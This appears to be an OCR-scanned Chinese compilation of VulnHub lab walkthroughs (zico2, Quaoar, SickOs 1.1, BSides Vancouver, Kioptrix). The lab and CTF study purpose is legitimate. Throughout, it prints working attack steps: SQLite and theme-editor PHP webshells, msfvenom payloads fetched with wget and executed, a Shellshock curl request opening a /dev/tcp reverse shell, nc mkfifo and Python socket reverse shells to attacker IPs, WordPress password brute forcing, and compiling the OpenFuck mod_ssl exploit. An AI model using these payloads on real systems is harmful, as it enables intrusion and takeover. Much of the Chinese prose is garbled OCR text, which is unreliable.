HJLAEE] index.php F—EXERFEST,
FTLA , ZRIFIFABR IR RURELDT
o {RISGESIIFRIN
IR php: BERNSEUR , BAREERIIMGES
o EEVECES 4. passwdIHEFERM
IET etc , TTREBUHARE 4
o ZHYApacheifi[a] HEKML,
EBRIAVEE , www-data FAFTEES AR ApachefIBEX 4. &, B&Apache BEKM,

2. AR FEFIBXWISE
o IR
BUSIRE , RETSRESERGH32 , BexpRIEiS6AIRE,

1. PHPAIS (B & iRIRAI

2. SSHHEBAN—TiFE

3. FFALFIFNISSHHEEgetshell

4. MSFERAS , FIB—aiEEBEA. &7
5. ¥ FEERBCE SUI DIZFHRIN

EFSRIXREZRNE RS |, ATLIBRESARAVEAR | toan

1. X EERRE , JERFEFuzz—TSMEEX .
2. EANCEE EfttRs8shel B2 R 3Eshell,

ItE5h . Metasploit FrameworkBfREZ 5 ESLRARIINEE | WIRAEBERE | SAKBUSENRELLR | BERNF

<
o

RRE | 7RI LR E R, —MWeb , —NSSH |, FIFRTARXEAS , BESLCEGENT | ETFSLiETRIZEE

7.

SN zico2
LTS
TEkhEiE

https://download.vulnhub.com/zico/zico2.ova



af://n23162
af://n23169
af://n23201
af://n23203
af://n23204
https://download.vulnhub.com/zico/zico2.ova

B1THIE
o AEDNUIRMH T OVARREIES: , B (EAvirtualbox , MVUlnhub TEHZE , B AZviirtualboxBIENE
7.
o EHEHL : (BEEEHAIMNEECE ITEEL.
o IZTEH : KaliEZHA , REERETEEL | RIEEaEEA.,

EHN58E
AR PE,
AENATEEEITISBHEN , 2ErootUR , FERflagsry,

EARET—MER A0, K. B,
[ERULEE

e ipRIM
BB — MKalilRMBERE.
ZIafERnmapRIELHL, nmap -sP 192.168.1.0/24 KILEAMEZE I MEXIP,

o ImOiFHESIRSIRE!
{EFINmMaptRIEFIEE ( -F 540 ) 3 192.168.1.0/24 FER
TR4E Mac BILARBBERIXS , 192.168.1.3 JIE{TFEVirtualBox EHIRRHA , BDERA HAERATEEM.,
WEBMRIPZSS , FANmapXd BARTEINFAAMRN © nmap -A -v 192.168.1.3 -oN nmap.txt
RE—TREXSH

o -A FHFRBIRIP , MNFFTEHA , RUELENIRIER ;

o v ETRIFMAVIRNIE ;

o -oN JHFHERINEEXAINEEHE] nmap. txt .
ZERNT -

° RFBBEE

DHTnMaplUIEER |, RIEENIFFRT 22 fl 8o , 111 iwH , RN Linux . 22 ix[J9 ssH fRSS , se
iHAA http RS , WebZ88 4 Apache/2.2.22 ,

BEEWeb£FEEMEHINE™ , 23 WEoHT , LAWeb/EAYIEHESEANO,
WebiEiRiZE
1. (EAdirbi RIS B S

dirb http://192.168.1.3

EIBUERBE R dbadmin
2. BREBEHER

i8] http://192.168.1.3/dbadmin/ , KMBFREHT , FASTFEIE test_db.php ST,


af://n23207
af://n23218
af://n23225
af://n23272
af://n23273
af://n23280

3.55O0%

1518] http://192.168.1.3/dbadmin/test_db.php , RILEXUFMYySQLAIphpmyadmin , FEHAIX N Esqlitedd
MTURETE,

=550< admin BPAIHA.

4. phpLiteAdminf{EEULEE

BEFREEER  KUEEFERMNKS |, EHsomds.com f#E,
BEILIT™MER -

root 34kroot34
zico zico2215@

5. X &iRKR
NS MuLINEE , AI—ANEEESN : http://192.168.1.3/view.php?page=tools.html

ENEEHEARR, S0, ALRTEALInuxipasswd 3T,
$XBYWebshell

1. RiEIFmELEREgetshell

Sqlite#iEE—MRMNAERSMANRELTD , BTRXHRIEIERE | FUTAccess#fEr. XBEXAHE—S
79 shell.php FOBUREES S , JIMIAISAERshell.phpBI— 321, (BEMERIEIRES IR

{E /usr/databases/test_users

B4, EEE—NUEERA .. /.. /var/www/html/shell.php ,

2. 2iSHX{¥getshell

payload: ATTACH DATABASE '/var/www/html/shell.php' AS test ;create TABLE test.exp (dataz text) ;
insert INTO test.exp (dataz) VALUES ('<?php phpinfo();?>");

BEXMAAENY  ERTUTIE !

1. AT EEHEEERTSQLIEM,
2. EEEIEEISA (FAXE )

3. #lHphpliteadminFIN B & iEiFgetshell
ZITRUEINEE, , RIT XA O SREASIEREUR. WEES , Wgetshell, 7% :
1. BidphpliteadminFl—&REGE | EAEUERESUS.


af://n23285
af://n23294
af://n23302
http://192.168.1.3/view.php?page=tools.html
af://n23309
af://n23310
af://n23321
af://n23339

2. MRt RRE S EUERE X ffeetshell,

4. fptEMeterpreter shell

BEEER— N msETEHITAD,

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=4444 -f elf > ~/Desktop/msf.elf
Z IREAPythonfEE— NMEEAIWeb Server @ python -m SimpleHTTPServer 8@

Z EFIFERIESREN—EIE , fuUTm<S , TREMNAS , HEIE T,

TEAD : x=system('wget http://192.168.1.4:9999/msf.elf");

ZIG x=systen('1s'); RAFKERT  HEUREIPREE, B4, BEETHE /tp BR

x=system('wget http://192.168.1.4:9999/msf.elf -0 /tmp/msf.elf');

==l

Z B IATR A BIE1T.

x=system('chmod +x /tmp/msf.elf');
x=system('/tmp/msf.elf");

ZFERNT

AR

LinuxiZAIER B

1. EFAmsTEI

use post/multi/recon/local_exploit_suggester

IRB R LA BRIR—ANRIE.

2. iR
MEEF T BFREEH B IMeterpreter shell , EEBENETEE.
KIVESBE/T Ubuntu 12.04 (Linux 3.2.0-23-generic) , Fl| www.exploit-db.com ¥EZERIIRIAYexp,

IXEE(ERSE " ANEXP, ML : https://www.exploit-db.com/exploits/33589/


af://n23357
af://n23387
af://n23394
af://n23403

FRAEE
BESERMeterpreterfiJsheliECILIEE A :
#EHAshell , #FEPython spawn— shell,  python -c 'import pty;pty.spawn("/bin/bash")" ,

Z [EmER Texp.

3kHYflag

fErootIRBRKRINT flag. txt {4 :
$E1% 52 2% o] o5

ZElt , BERTAELBR , RO — T ZRI LM EBAIS,

1. {EAphpliteadminS S5k M EHE

KRIUEAIRE R /var/www TIAZE /var/www/html , EDR waw BRAISPRIAR , FEEEZESshell,
B2 /var/www/ THEMESR  SNRIKENIEE KX , JLAEESshell,

2.8 %FAphpliteadminS 3 Zixgetshell
FELLEERY b, Bl A T RISA0MESRE1E , B SRS SRR B .
=R Sshell :

BINEN :

BIRELE

SRR

1. phpliteadminZf$E5 1<

2. Bid phpliteadminE#EHRE BN —GIEARS

3. FALFIFNEUERE S getshell

4. MSFERALS , FIF—GIESKAISEREBEA. BT
5. IR SRR AIroot

EFRIXRETZRNIRES |, JLIBREARAIERR | ol

1. X4 ERE , AILAERF#Fuzz— FEMEEX RS, B asSHREN R getshell,
2. Fuzz— M RIEERI4EIT RS |, FIFphpliteadminEshell,

Ak, IEBIZIRERER. BFER T WebEARRIFE. phpliteadminfVEEFIA , tERT BRIPRIREAIAN
HR. JLBEZME5 TS,


af://n23429
af://n23433
af://n23436
af://n23445
af://n23458
af://n23493

%17 Quaoar
$EHER
TakhkE

https://download.vulnhub.com/hackfest2016/Quaoar.ova

ETHIR

o AEEHUIRM T OVAIRRAYERS: . BAHEEE(ERvirtualbox , MVulnhub FEZfE , §AZEviirtualboxBIANIE

17,
o HEH : ISBEEHIMSECE TR,
o LA : Kaligetdl , EREREIE | RIRTHEEL.

FEHNisER

RECHADERDIFE.
REEHAZIEBR S BRI , #Eflag , HEEIrootiR,

{EBHETFZT E nmap dirb / dirbuster / BurpSmartBuster nikto wpscan hydra

[ERURE

o ip&Il
BStE— TKalifBERE.
FEHIPHBREER A
o IO HESIRSSIRAY
MEBRPZIE , (FANmapxt BirTEIMFMAURD © nmap -A -v 192.168.1.3 -oN nmap.txt
BE—TEXSH

o -A FEMIRBMRIP , MNEBATEHA , RElst2mEmvRUIER ;

o v BRIFEMAUIEITE ;

o -oN FHMERIUEEXAHNESNEHEE] nmap. txt .
ZERAT -

o RHEE

SHnmaplYiaREER | RIEEHFFRL T 22 #0 8e im , RFE S Linux , 22 iwEA ssH BRSS . se iwHf

http PRSS , WebZS889 Apache/2.2.22 ,
BEWebSFAESZMSHNER , KIS0, AWebEAMZHEENA.

WebiRiRiZiE
1. EAdirbiF}EMEL B F


af://n23493
af://n23494
af://n23495
https://download.vulnhub.com/hackfest2016/Quaoar.ova
af://n23498
af://n23509
af://n23516
af://n23559
af://n23561

dirb http://172.19.0.182
KIrobots.txt , uploadE3 , wordpressBR.

BErobots.txt , I5EAIEREwordpressBR

2.55O0%

FAwpscan# 71

wpscan -u http://172.19.0.182/wordpress --wp-content-dir wp-content --enumerate u

[+] Enumerating usernames ...
[+] Identified the following 2 user/s:

| 1 | admin | admin |
| 2 | wpuser | wpuser |
Tocoodhoooooooa Foosoooos +

[!] Default first WordPress username 'admin' is still used

[+] Finished: Fri Jul 6 22:13:24 2018
[+] Requests Done: 62

[+] Memory used: 63.867 MB

[+] Elapsed time: 00:00:05

Z1550< admin admin BPAJEHA.

$xHEYWebshell

1. SidiBiI(ERNMIKSshell

cp /usr/share/webshells/php/php-reverse-shell.php shelly.php
XtshelliF € , AEAFNCHITIENT , HE— PN AFERINE |, 152Ishell
FFpythonzk{E—#shell

“python -c 'import pty; pty.spawn("/bin/bash™)

TEZBUPRT | SRENE—shell

JRFHR
1. BERAREEINBENS


af://n23572
af://n23585
af://n23586
af://n23608
af://n23609

BEwordpressHIBLE X4
K root K SEHG

B3rootiS R

ZF)|B5—"Mflag

%24+ —715 SickOs 1.1

LSRR
TEHERE

https://download.vulnhub.com/sickos/sick0s1.1.7z

BEITIR
o AEBHIRMT OVFIB(AVEEG , B/AHEEERVMware Workstation , AVulnhub ™82 /5 , SAZIVMware
WorkstationBlIa[i=4T,

o HEH : NATEDREUP,
o IZHHL : NATEGHEREP @ 192.168.202.128,

FEHN15E8
AEEHLERIE2FrootiR |, EAY/root/a0216ea4d51874464078c618298b1367.txt T4,
S2UEE
o ip&I

192.168.202.133,

$E$RFELWE§%1 92.168.202.1/24 , ﬁﬁﬁnmapﬁﬁﬁ%ﬂﬁlﬂmlp

02, 13

dresses (4 hosts up) scarnned in 12. 02 seconds

o ISR R5]
XHZIPEUR T


af://n23628
af://n23629
af://n23630
https://download.vulnhub.com/sickos/sick0s1.1.7z
af://n23633
af://n23644
af://n23647

(192, 1

(Vllware)

KRIYFERsquidRIE, SiIRENSEESIE |, 15alhttp://192.168.202.133/ :

€ 192,168.202.133

12 ARESE

BLEHHH! !'!

|

ORI R R T AL P ISR,
WebiiRiZHE
KREREBHTERIEN

START TIME: Thu Jul 5 ©9:14:33 2018

URL BASE: http://192.168.2082.133/

WORDLIST FILES: fusr/share/dirb/wordlists/common.txt
PROXY: http://192.168.2082.133:3128

GENERATED WORDS: 4612

--- Scanning URL: http://192.168.262.133/ ----
http://192.168.202.133/cgi-bin/ (CODE:403|SIZE:291)
http://192.168.202.133/connect (CODE:200|SIZE:109)
http://192.168.202.133/index {CDDE:200|SIZE:21}
http://192.168.202.133/index.php (CODE:200|S5IZE:21)
http://192.168.202.133/robots (CODE:200|SIZE:45)
http://192.168.202.133/robots. txt {CDDE:209|SIEE:45}
.202.133/server-status (CODE:403|S5IZE:296)

END TIME: Thu Jul 5 ©9:14:38 2018
DOWNLOADED: 4612 - FOUND: 7

i51a)robots.txt:


http://192.168.202.133/
af://n23666

€= 0 192,168.202,133/robots. bt
|2 mEsE
User-agent: *

Disallow: /
Dissalow: /fwolfcms

WD If content management simplified

Home About us Articles

About Me Home Page

I'm just a demonstration of how easy it is to
use Wolf CMS to power a blog. more ... My second article

Favorite Sites This is my second arficle.

n  Wolf C\VIS Posted by Administrator on Sat, 5 Dec 2015
Recent Entries My first article
» My second article My first test of my first article that uses Markdown.

u MMy first article
Posted by Administrator on Sat, 5 Dec 2015

Archives

Syndicate

Articles RSS Feed

ERIAMBHENED://192.168.202.133/wolfcms/2/admin AANEIREE :
/@ 192.168.202.133/wolfcms/?/adminflogin @

IEEE

Login - Wolf CMS

Username: Password:
|

O remember me for 30 minutes.

Lagin  (Forgot password?)

Wolf CMS

EiRfFERHadmin/adminggsOSHNGEE |, NMEREERTLEHmMsiRZAN<0.8.3.1, A8 EN 4 HERR -


http://192.168.202.133/wolfcms/?/admin/

€ | @ 192.168.202.133/wolfcms/?/admin/ @7 v | Y- Google

& wass

Wolf CMS

Snippets  Layouts  Files

Information! New Wolf version available (v. 0.8.3.1)! Visit http://www.wolfems.org/ to upgrade your version!

Page (reorder) Layout
“ Home Page Waolf
" Aboutus inherit
= " Articles inherit
" %B %Y archive inherit
. My second article inherit
. My first article inherit
" RSSFeed RSS XML

$xHlwebshell

BEE—
AT LEEREELH , EXD, HiBlwebshell

é > @ 1921 68.202.133/walfcms/?fadmin/plugin/file_manager/browse// '@ v @ '-." Google

|8 wiEmE

Create new file s

L Jcreae

EREB AR IISIRAS | iRBREE


af://n23682
af://n23683

é @ 192.168.202.133/wolfems/public/gb2321.php? @

(8 mEEs

‘fﬁé}é&ﬁ: [cat froot/a021fieaddnlBT44A4078cA18208b136T. txt |[——@msEE——- | Bk

m
_

el

CML i 5

i

S—

BEFHmRE , AM33067F , (B2EImysqliRAKTFS5.1 , ToikudfEN :

(- & 192.168.202.133/wolfcms/public/gh2321.php?

BRI

192.168.202.133 - Linux

9o IP
[127.0.0.1 |

[21]22]14233]1521(3306]3399 483954325631 |5800( 2000|8080 43958 |

9000

& Lo --—->21
QOOY. @ > 22
&,U. ¢ -—-> 1433

> 1521

@6oY. & ---> 3306 |
0.9 -~ 3369

&,U.¢ --—-> 4899

_ | @U@ ——>5432

&U.© ——> 5631

__= — | &L -—-> 5800

[ JWESE &,U & ---> 8000
& oo f2nan

l

| =
I ' I I ! i niui Ii”ilih
5 I-"




FAXDIEEREshell :
6 192.168.202.133/wolfcms/public/webshell.php
1) HEEE

192.168.202.133 (192.168.202.133)

. P Y W LR S T R U S TS

Now script try connect to 192.168.202.128 port 4444 ...

Back Connect »

YourIP:[192.168.202128 | Your Port |4444 |use: [ pert [« || EEIH

:~# nc -lvp 4444
listening on [any] 4444
connect to [192.168.202.128] from localhost [192.168.2082.133] 40836

Linux SickOs 3.11.8-15-generic #25~precisel-Ubuntu SMP Thu Jan 30 17:42:48 UTC
2014 1686 1686 1386 GNU/Linux
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Big=
PHFEEREEI T cgi-binBR |, BYBEEAM T sEFTbashimEI LAEEEgetshell, FIFnc/k5#shell,

:~# curl -x http://192.168.2082.133:3128 -H "User-Agent: () { ignored;
;echo; /bin/bash -1 =& /dev/tcp/192.168.202.128/444 0=&1" http://192.168.202.
33/cgi-bin/status

:~3 I

:~# nc -lvp 444
listening on [any] 444
connect to [192.168.202.128] from localhost [192.168.282.13
bash: no job control in this shell
www-data@SickOs:/usr/lib/cgi-bin% whoami
whoami
www-data
www-data@SickOs: /usr/lib/cgi-bin% cat /root/af216ea4d51874464078c618298b1367 .1
<i-bin% cat /root/af2l16ead4d51874464078c618298b1367.txt
cat: /root/af2l6eadd51874464078c618298b1367.txt: Permission denied
www-data@Sick0s: /usr/lib/cgi-bing

AR

SR EAsul B EE sudoEEEE X4 RILERUR

www-data@sick0s:/$ su - root

su - root

su: must be run from a terminal

www-data@sick0s: /% sudo froot/a02l6eadd51874464078c618298b1367. txt
sudo /root/a02l16ea4d51874464078c618298b1367. txt

sudo: no tty present and no askpass program

Sorry, try again.

sudo: no tty pr nt and no askpass program
Sorry, try again.

sudo: no tty present and no askpass program s
Sorry, try again.

sudo: 3 incorrect password attempts
www-data@sickos:/$ ||



af://n23697
af://n23701

HAMILERERNER

www-data@sickOs: /var/www/wolfcmst 1s -1
1s -1
total 48

- FWX WX MW
- WX WX FwX
- WX WX FwX
- FWX WX FwX
d rwX rwx rwx
- WX FWX FwWX
- FWX FWX FwWX
dIrwx rwx rwx
- FWX WX MwX
d rwx rwx rwx

CONTRIBUTING.md
README . md
composer.json
config.php

docs
favicon.ico
index.php
public
robots.txt

wolf

L A N
tnbn o LnbnLn bR LA LR kR

RINBREXH | IESIFEI e B FEIEN P
www-data@Sick0s: /var/www/wolfcms$ cat config.php
cat config.php

<?php

// Database information:

J/ for sSOLite, use sqlite:/tmp/wolf.db (SQLite 3)
// The path can only be absolute path or :memory:
// For more info look at: www.php.net/pdo

// Database settings:

define('DB DSN', 'mysql:dbname=wolf;host=localhost;port=3306'};
define('DB _USER', 'root');

define('DB_PASS', 'john@l23'});

define{'TABLE_PREFIX', g -

// Should Wolf produce PHP error messages for debugging?
define( 'DEBUG', false);

// Should Wolf check for updates on Wolf itself and the installed plugins?
define('CHECK UPDATES', true);

{EFRSRENHI B SR AR R | =l NS TrootE =AM,

Ubuntu 12.04.4 LTS SickOs ttyl

Sick0s login: root
Fassword:

Login incorrect
Sick0Os login: _—

BERAREMAR , KWsickosMiP1REFS!




sys:x:3:3:sys:fdev:/bin/sh
sync:x:4:65534:sync:/bin: /bin/sync
games:x:5:60:games:/usr/games: /bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:1p:/var/spool/lpd: /bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news: /bin/sh
uucp:x:10:10:uucp:/var/spool/uucp: /bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd: /bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody: /nonexistent:/bin/sh
libuuid:x:160:161::/var/1lib/1libuuid: /bin/sh
syslog:x:101:103: : /home/syslog: /bin/Talse
messagebus:x:102:105::/var/run/dbus:/bin/false
whoopsie:x:183:106::/nonexistent:/bin/false
landscape:x:104:109::/var/lib/landscape: /bin/false
sshd:x:105:65534::/var/run/sshd: fusr/sbin/nologin
sickos:x:1000:1080:s5ickos,,, :/home/sickos: /bin/bash
mysql X: 1@6 114: MySOL Server,,, Jnonexistent:/bin/Talse

FHF4 : sickos , 45 : john@123& R AT,

Sick0s login: sickos

Fassword:

Last login: Tue Sep 22 08:32:44 IST 2015 on ttyl

Welcome fto Ubuntu 12.04.4 LTS (GNUsLinux 3.11.0-15-generic 1686

% Documentation: hitps:/shelp.ubuntu.com/

System information as of Fri Jul & 07:47:57 IST 2018

Sustem load: 0.0 Frocesses: 111

Uzage of ~: 4.0% of 28.42GE Users logged in: 0

Memory usage: 10% IF address for eth0: 192.168.202.133
Swap usage: 0%

Graph this data and manage this system at:
https://landscape.canonical.coms

178 packages can be updated.
145 updates are security updates.

Wew release '14.04.3 LTS' avallable.
Fun 'do-release-upgrade' to upgrade to it.

sickos@5ickOs: ™% _

sudomp$EE Y :

sickos@5ick0s:™F sudo cat srootsal2leeaddsl8?44640780c61829801367. 1=t
If you are wiewing this!!

ROOT!

You hawve Succesfully completed SickO0S1.1.
Thanks for Trying
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BIRES

1.8 A LEREEE bashimRIRENFR Ftshell,
2 BREMIMLA R BER P IEEUERF S &S , TLADOLAFIA.

%1 _—7 BSides-Vancouver-2018-Workshop

LSRR
TakEE

https://download.vulnhub.com/bsidesvancouver2018/BSides-Vancouver-2018-Workshop.ova

FEHNisER

Y FAValualBoxplie , BRRTEEL LkErootRiAT
BItR

Boot to root : 3kf§rootffRF0Flag,

BTIIR
o FBH : BidValualBoxFTHERIM , MEEEHDTURENENURT( ( host-only ) |, BREBEML. KalitlERHF
ZEMENATEN R, WA ERVMWare S NENRTIEIRSIP |, EFValualBoxaJ IEEIRISIP.
o IEHA - FIMERTEWindowsIZdtl (IR ) , LEBNmap, Burpsuit, Wireshark, Sqlmap. nc,
Hydra, Python2.7, DirBuster, AWVS, NessusFZETH. EFAIEAKali Linux{FABEN , kT2
ErEELER.

[ERURE

e IPiRBI

BEnEAL , FERNmMapiFHCERIP nmap -sP 192.168.56.0/24 3KSREHLIP 192.168.56.101
o mOFIARSSIRA!

Nmap@p< : nmap -p1-65535 -open -A 192.168.56.101 -oN BSides.txt

LTSGR OFIARSS

im fRSS IR ER

21 FTP vsftpd2.3.5 RIFERER

22 ssh OpenSSH 5.9p1

80 http Apache httpd 2.2.22 (Ubuntu)

miEHEHE
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o BERE—:
o 0x01 ERERFTPIKERF

Windows MERBXFTPEZERFTP : fEpublicBRT , #Eusers.txt.bk3Z {4 , FBICEAFTH :
RIB5TFF4A : abatchy , john, mai, anne , doomguy
o 0x02 FAASFFEINS5O<SF 8 TsshFEH

Windows FEJ RSkt Hydra WindowshRAE it TEEH , IXERABRGEOSGETEVI.0HITRE , &
BARERAR  BUETSE | 4478,

FHAER |, 1A= : darkweb2017-top10000.txt,
SEHMERIFEFE : anne Z13 : princess

e 0x03 &EFssh , BEBsudoiifR , $k15flag
EFAXshel TEsshZBRKE : anne ZY : princess
HiTidap<SHsudo -8 , KManneBEsudotiR :
HiTsudo -l /rootds< , sudo cat /root/flag.txtip< |, $X15flag :

« BERE:
e O0x01 NRIRE

EREZEATIKaliEY , FEEEEZbsidesfZUM. KaliEHEFHERIEICARBINAITTEM K | bsidesFRUTIAE
FERISHENIP, EFNampiF M -RCER I3RS bsidesEHAIHTIPAY : 172.20.10.8 , KaliggHAIIPZ :
172.20.10.9,

Nmap#p< : nmap -sP 192.168.56.0/24
FEHEERERFTP , 3KE51NHRFS : abatchy , john , mai, anne , doomguy
e 0x02 15/880i%mHhttphRS
1318 http://172.20.10.8/
P518] http://172.20.10.8/robots.txt A&I/backup_wordpressH= :
}A08] http://172.20.10.8/backup_wordpress/ B AWordPressTim :
e 0x03 fEEAwpscanidfiWordPress , EifE AP RFIE !
(B2 , < wpscan -u http://172.20.10.8/backup_wordpress --enumerate u
$*BFEFE : admin john
(2fsEABwpscanBRAFH , SR

wpscan --url wpscan -u http://172.20.10.8/backup_wordpress --wordlist /root/share/darkweb2017-
top10000.txt --username john

SR KA darkweb2017-top10000.txt§5 1<

BEIERID | SREREF&john ZfBenigma

3xBshell
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e 0x04 ERFH=iE#shell

()EBRFA john ZfenigmaZRzWordPress , ERME http://172.20.10.8/backup_wordpress/wp-
login.php

(2)WordPress3kEshel B9/ 5285%5 , #E\ Appearance -> Editor , REEAIHHY Theme Header , {E4RIEESEEME
ARG SHITIND <2php system($_GET['cmd']); ?> {RIF.

(3)/EBurpsuitfiEId cdSEIITEES |, T5I8) 172.20.10.8/backup_wordpress/?cmd=id;1s BIIHITiIdFOIsER< :

(AEidEncziEshell 1T rm /tmp/Fmkfifo /tmp/f;cat /tmp/F|/bin/sh -i 2>&1|nc 172.20.10.5 4444
>/tmp/f , FEESHITUrGRES , SA/TEBUrpsuithALE |

(5)WindowsITEtNFFEn iz =58 shel Il :
(C)YNEFHKFIUEIESHFTTE , BAIET]T echo '<?php eval($_POST['123456']);?>' >> caidao.php
ST iERRIN

AR

o Ox5 EHAFXH

(MEHRESTBRXMY  MNESERIYE | KIIT /usr/local/bin/cleanup X4 , HINRZE777 , EBERE
N

#1/bin/sh
rm -rf /var/log/apache2/* # Clean those damn logs!!

XE—ERiEHEApache BERIMHIA , FEroottifRIE1T.

B&cleanupXHRINIRA777 , BILARERUESAIAGT | ATLUG XA B — 1 58shell,

QEXTIFEREEK cleanupX 4 ai#shellfn< | B7E /usr/local/lib/python2.7/ BR FN&EABPython2.7 ,
FrLARTLAfEFPythonZ3shell

python -c 'import
socket, subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.20.10.5",5555)
);0s.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-

it
(3)WindowsFENC , ZiFEl = Eshell , rootiR :
(4)EEflag:

BIREES

S =i

1IREEANENE , MEXBWEMBFBNEN | FHRABEIIMNEEFREYT.
2.Linuxfzishell 5 &8 |, bash, nc. php. PythonZ#pEEsx,

3.FE 2B WordPressfg&agetshell &8,

ANEERTBEMNE  BERBEMGE | RIRSEER T ERsshAF IWordPressi2iEMMTi%.
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%1+=7 Kioptrix 1

title: VulnhubigiENIR 2> -Kioptrix 1 date: 2018-05-07 15:28:05 categories: £ig

{E& : Ukonw
BRI
181 netdiscover AILBEFTRENIPHBLL,

root@kali:~# netdiscover
Currently scanning: 192.168.63.0/16 | Screen View: Unique Hosts

3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180

IP At MAC Address Count Len MAC Vendor / Hostname
192.168.43.1 ac:cl:ee:31:3f:25 1 60 Xiaomi Communications Co L
192.168.43.33  44:03:2c:68:d8:0f 1 60 Intel Corporate
192.168.43.54 00:0c:29:7c:3a:16 1 60 VMware, Inc.

MBERRIEINBFRENRYIPHELL 192.168.43.54

nmap $HEIPAIERC{SE nmap -A 192.168.43.54

root@kali:~# nmap -A -sS 192.168.43.54

Starting Nmap 7.10 ( https://nmap.org ) at 2018-05-07 15:48
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --
system-dns or specify valid servers with --dns-servers

Nmap scan report for 192.168.43.54

Host is up (©.00055s latency).

Not shown: 994 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99)

| ssh-hostkey:

| 1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:61:64:86 (RSA1l)
| 1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)
| 1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)
| sshvl: Server supports SSHvl

80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4
OpenSSL/0.9.6b)

| http-methods:

| Potentially risky methods: TRACE

| _http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ss1/2.8.4 OpenSSL/0.9.6b
| _http-title: Test Page for the Apache Web Server on Red Hat Linux
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111/tcp open rpcbind 2 (RPC #100000)

| rpcinfo:

| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100024 1 1024/tcp status
| 100024 1 1024/udp status

139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP)

443/tcp open ssl/http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4
OpenSSL/0.9.6b)

| http-methods:

| Potentially risky methods: TRACE

| _http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
| _http-title: Test Page for the Apache Web Server on Red Hat Linux

| ssl-cert: Subject:
commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/
countryName=--

| Not valid before: 2009-09-26T09:32:06

| Not valid after: 2010-09-26T09:32:06

| ssl-date: 2018-05-07T07:50:42+00:00; +1m50s from scanner time.

| sslv2:

|  SSLv2 supported

|  ciphers:

| SSL2_DES_192_EDE3_CBC_WITH_MD5

| SSL2_RC2_128 CBC_WITH_MD5

| SSL2_RC4_128 WITH_MD5

| SSL2_RC4 64 WITH_MD5

| SSL2_DES_64_CBC_WITH_MDS

| SSL2_RC2_128 CBC_EXPORT40_WITH_MD5

| SSL2_RC4 128 EXPORT40@_WITH_MD5

1024/tcp open status 1 (RPC #100024)

MAC Address: 00:0C:29:7C:3A:16 (VMware)

Device type: general purpose

Running: Linux 2.4.X

0S CPE: cpe:/o:linux:linux_kernel:2.4

0S details: Linux 2.4.9 - 2.4.18 (likely embedded)

Network Distance: 1 hop

Host script results:
| _nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

TRACEROUTE
HOP RTT ADDRESS
1 ©0.55 ms 192.168.43.54

0S and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 51.99 seconds

443/tcp open ssl/http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)

443 A9PRSS mod_ss1/2.8.4 OpenSSL/0.9.6b

181 searchsploit mod_ssl EEEXREIE



root@kali:~/Desktop# searchsploit mod_ssl
Exploit Title | Path
| (/usr/share/exploitdb/)

Apache mod_ssl 2.0.x - Remote Denial o | exploits/linux/dos/24590.txt
Apache mod_ssl 2.8.x - Off-by-One HTAc | exploits/multiple/dos/21575.txt
Apache mod_ssl < 2.8.7 OpenSSL - 'Open | exploits/unix/remote/21671.c
Apache mod_ssl < 2.8.7 OpenSSL - 'Open |
Apache mod_ssl OpenSSL < ©.9.6d / < 0. |

exploits/unix/remote/764.c
exploits/unix/remote/40347.txt

Shellcodes: No Result

XEA LR BAEANRRAexpIAR TG |, exploit-db TE#EXexp.
miRFIR

OpenFuckimiEFIF
XE—Mri2imHAsER . TElexpttR AR EM—EERL,

o FIFEEMRY libssl-dev E , BIRAA apt-get install libssll.e-dev
FEexpHIINLI{4 <openssl/rca.h> F1 <openssl/md5.h>
%?ﬁéequ wget E§E§LJH§§ http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
289619718 const unsigned char * p, * end;

RS
gcc -o OpenFuck 764.c -lcrypto

BATRIAS . /openFuck BN IRRGThRA
IXERiE$E Ox6b

HITHEXAIAS . /OpenFuck @x6b 192.168.43.54

root@kali:~/Desktop# ./OpenFuck Ox6b 192.168.43.54

3k 3k 3k 3k 3k 3k 3k 3k 3k >k 3k 3k >k 3k ok >k 3k 5k >k 3k ok >k 3k 3k >k 3k 5k >k 3k 3k >k 3k 5k >k 3k 5k >k 3k 3k 3k >k 3k >k 3k 3k 5k >k 3k 3k >k %k >k >k 3k 5k >k 3k ok >k 3k 5k >k 3k %k >k kok

* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
